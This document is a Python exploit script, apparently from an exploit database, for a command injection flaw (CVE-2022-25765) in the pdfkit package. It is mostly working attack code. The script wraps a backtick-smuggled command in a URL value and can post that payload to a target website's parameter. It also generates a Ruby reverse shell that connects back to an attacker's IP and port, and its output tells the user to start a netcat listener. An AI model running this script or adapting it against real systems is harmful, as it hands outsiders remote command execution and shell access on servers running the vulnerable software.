#!/usr/bin/env python3
# Exploit Title: pdfkit v0.8.7.2 - Command Injection
# Date: 02/23/2023
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pdfkit.org/
# Software Link: https://github.com/pdfkit/pdfkit
# Version: 0.0.0-0.8.7.2
# Tested on: pdfkit 0.8.6
# CVE: CVE-2022–25765
# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765
# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.
# Imports
import time
import sys
import requests
from urllib.parse import quote
class color:
red = '\033[91m'
gold = '\033[93m'
blue = '\033[36m'
green = '\033[92m'
no = '\033[0m'
# Print UNICORD ASCII Art
def UNICORD_ASCII():
print(rf"""
{color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}
{color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
""")
# Print exploit help menu
def help():
print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection
Usage:
python3 exploit-CVE-2022–25765.py -c <command>
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
python3 exploit-CVE-2022–25765.py -h
Options:
-c Custom command mode. Provide command to generate custom payload with.
-s Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
-w URL of website running vulnerable pdfkit. (Optional)
-p POST parameter on website running vulnerable pdfkit. (Optional)
-h Show this help menu.
""")
exit()
def loading(spins):
def spinning_cursor():
while True:
for cursor in '|/-\\':
yield cursor
spinner = spinning_cursor()
for _ in range(spins):
sys.stdout.write(next(spinner))
sys.stdout.flush()
time.sleep(0.1)
sys.stdout.write('\b')
# Run the exploit
def exploit(payload, exploitMode, postArg):
UNICORD_ASCII()
print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}")
loading(15)
print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")
print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}")
if "web" in exploitMode:
if exploitMode == "webcommand":
print(
f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
else:
print(
f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
print(
f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}")
print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}")
print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}")
if "http" not in website:
print(
f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}")
exit()
postArg = postArg + "=" + quote(payload, safe="")
try:
response = requests.post(website, postArg)
except:
print(
f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}")
exit()
loading(15)
print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}")
loading(15)
print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}")
elif exploitMode == "command":
print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
loading(15)
print(
f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
elif exploitMode == "shell":
print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")
loading(15)
print(
f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
exit()
if __name__ == "__main__":
args = ['-h', '-c', '-s', '-w', '-p']
modes = {'command': 'Custom Command Mode',
'shell': 'Reverse Shell Mode',
'webcommand': 'Custom Command Send to Target Website Mode',
'webshell': 'Reverse Shell Sent to Target Website Mode'}
postArg = "url"
if args[0] in sys.argv:
help()
elif args[1] in sys.argv and not args[2] in sys.argv:
try:
if sys.argv[sys.argv.index(args[1]) + 1] in args:
raise
command = sys.argv[sys.argv.index(args[1]) + 1]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")
exit()
payload = f"http://%20`{command}`"
mode = "command"
elif args[2] in sys.argv and not args[1] in sys.argv:
try:
if "-" in sys.argv[sys.argv.index(args[2]) + 1]:
raise
listenIP = sys.argv[sys.argv.index(args[2]) + 1]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}")
exit()
try:
if "-" in sys.argv[sys.argv.index(args[2]) + 2]:
raise
listenPort = sys.argv[sys.argv.index(args[2]) + 2]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")
exit()
payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"
mode = "shell"
else:
help()
if args[3] in sys.argv and args[4] in sys.argv:
try:
if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2:
raise
website = sys.argv[sys.argv.index(args[3]) + 1]
mode = "web" + mode
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
exit()
try:
if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2:
raise
postArg = sys.argv[sys.argv.index(args[4]) + 1]
except:
print(
f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
exit()
elif args[3] in sys.argv or args[4] in sys.argv:
print(
f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
exit()
exploit(payload, mode, postArg)
